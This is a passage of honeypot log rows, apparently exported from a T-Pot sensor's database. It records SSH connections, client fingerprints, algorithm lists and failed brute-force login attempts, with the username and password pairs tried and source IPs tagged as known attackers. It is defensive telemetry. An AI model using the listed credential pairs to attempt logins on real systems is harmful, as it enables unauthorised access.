"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25187	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:32.370608+03	2021-09-20 14:15:09.7805+03	{"_id": "UwblAnwBvYTbRNuElhhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1771209816221468, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48866, "dest_port": 22, "timestamp": "2021-09-20T11:09:32.370608Z", "@timestamp": "2021-09-20T11:09:32.370Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25188	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:32.891311+03	2021-09-20 14:15:09.782472+03	{"_id": "VAblAnwBvYTbRNuElhhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1592586421413620, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43606, "dest_port": 22, "timestamp": "2021-09-20T11:09:32.891311Z", "@timestamp": "2021-09-20T11:09:32.891Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25189	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:32.891651+03	2021-09-20 14:15:09.783506+03	{"_id": "VQblAnwBvYTbRNuElxhZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43606, "dest_port": 22, "timestamp": "2021-09-20T11:09:32.891651", "@timestamp": "2021-09-20T11:09:32.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25190	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:32.891372+03	2021-09-20 14:15:09.7855+03	{"_id": "WAblAnwBvYTbRNuElxhZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43606, "timestamp": "2021-09-20T11:09:32.891372", "@timestamp": "2021-09-20T11:09:32.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25191	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:32.370652+03	2021-09-20 14:15:09.786503+03	{"_id": "VgblAnwBvYTbRNuElxhZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48866, "timestamp": "2021-09-20T11:09:32.370652", "@timestamp": "2021-09-20T11:09:32.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25192	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.614497+03	2021-09-20 14:15:09.787501+03	{"_id": "WQblAnwBvYTbRNuElxjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43606 (192.168.176.2:22) [session: d49b9c58525c]", "session": "d49b9c58525c", "@version": "1", "protocol": "ssh", "src_port": 43606, "dest_port": 22, "timestamp": "2021-09-20T11:09:32.614497Z", "@timestamp": "2021-09-20T11:09:32.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25193	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.63935+03	2021-09-20 14:15:09.788472+03	{"_id": "XwblAnwBvYTbRNuElxjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d49b9c58525c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:32.639350Z", "@timestamp": "2021-09-20T11:09:32.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25194	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.788352+03	2021-09-20 14:15:09.7905+03	{"_id": "YAblAnwBvYTbRNuElxjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [alex/alex] failed", "session": "f486c23457f8", "@version": "1", "password": "alex", "username": "alex", "timestamp": "2021-09-20T11:09:32.788352Z", "@timestamp": "2021-09-20T11:09:32.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25195	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:32.79912+03	2021-09-20 14:15:09.7925+03	{"_id": "YQblAnwBvYTbRNuElxjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d941266a32aa", "@version": "1", "duration": 2.721797227859497, "timestamp": "2021-09-20T11:09:32.799120Z", "@timestamp": "2021-09-20T11:09:32.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25196	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.891874+03	2021-09-20 14:15:09.793501+03	{"_id": "YgblAnwBvYTbRNuElxjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d49b9c58525c", "@version": "1", "timestamp": "2021-09-20T11:09:32.891874Z", "@timestamp": "2021-09-20T11:09:32.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25197	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:33.260041+03	2021-09-20 14:15:09.794501+03	{"_id": "YwblAnwBvYTbRNuElxjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/openvpnas] failed", "session": "9bc380dfc344", "@version": "1", "password": "openvpnas", "username": "root", "timestamp": "2021-09-20T11:09:33.260041Z", "@timestamp": "2021-09-20T11:09:33.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25199	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:34.001973+03	2021-09-20 14:15:09.7965+03	{"_id": "ZwblAnwBvYTbRNuEmxhD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50582, "timestamp": "2021-09-20T11:09:34.001973", "@timestamp": "2021-09-20T11:09:34.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25200	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:09:30.192947+03	2021-09-20 14:15:09.798501+03	{"_id": "BQblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5307918302be", "@version": "1", "duration": 2.7677204608917236, "timestamp": "2021-09-20T11:09:30.192947Z", "@timestamp": "2021-09-20T11:09:30.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25201	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:30.011925+03	2021-09-20 14:15:09.799511+03	{"_id": "CQblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "379b83e9db7f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:30.011925Z", "@timestamp": "2021-09-20T11:09:30.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	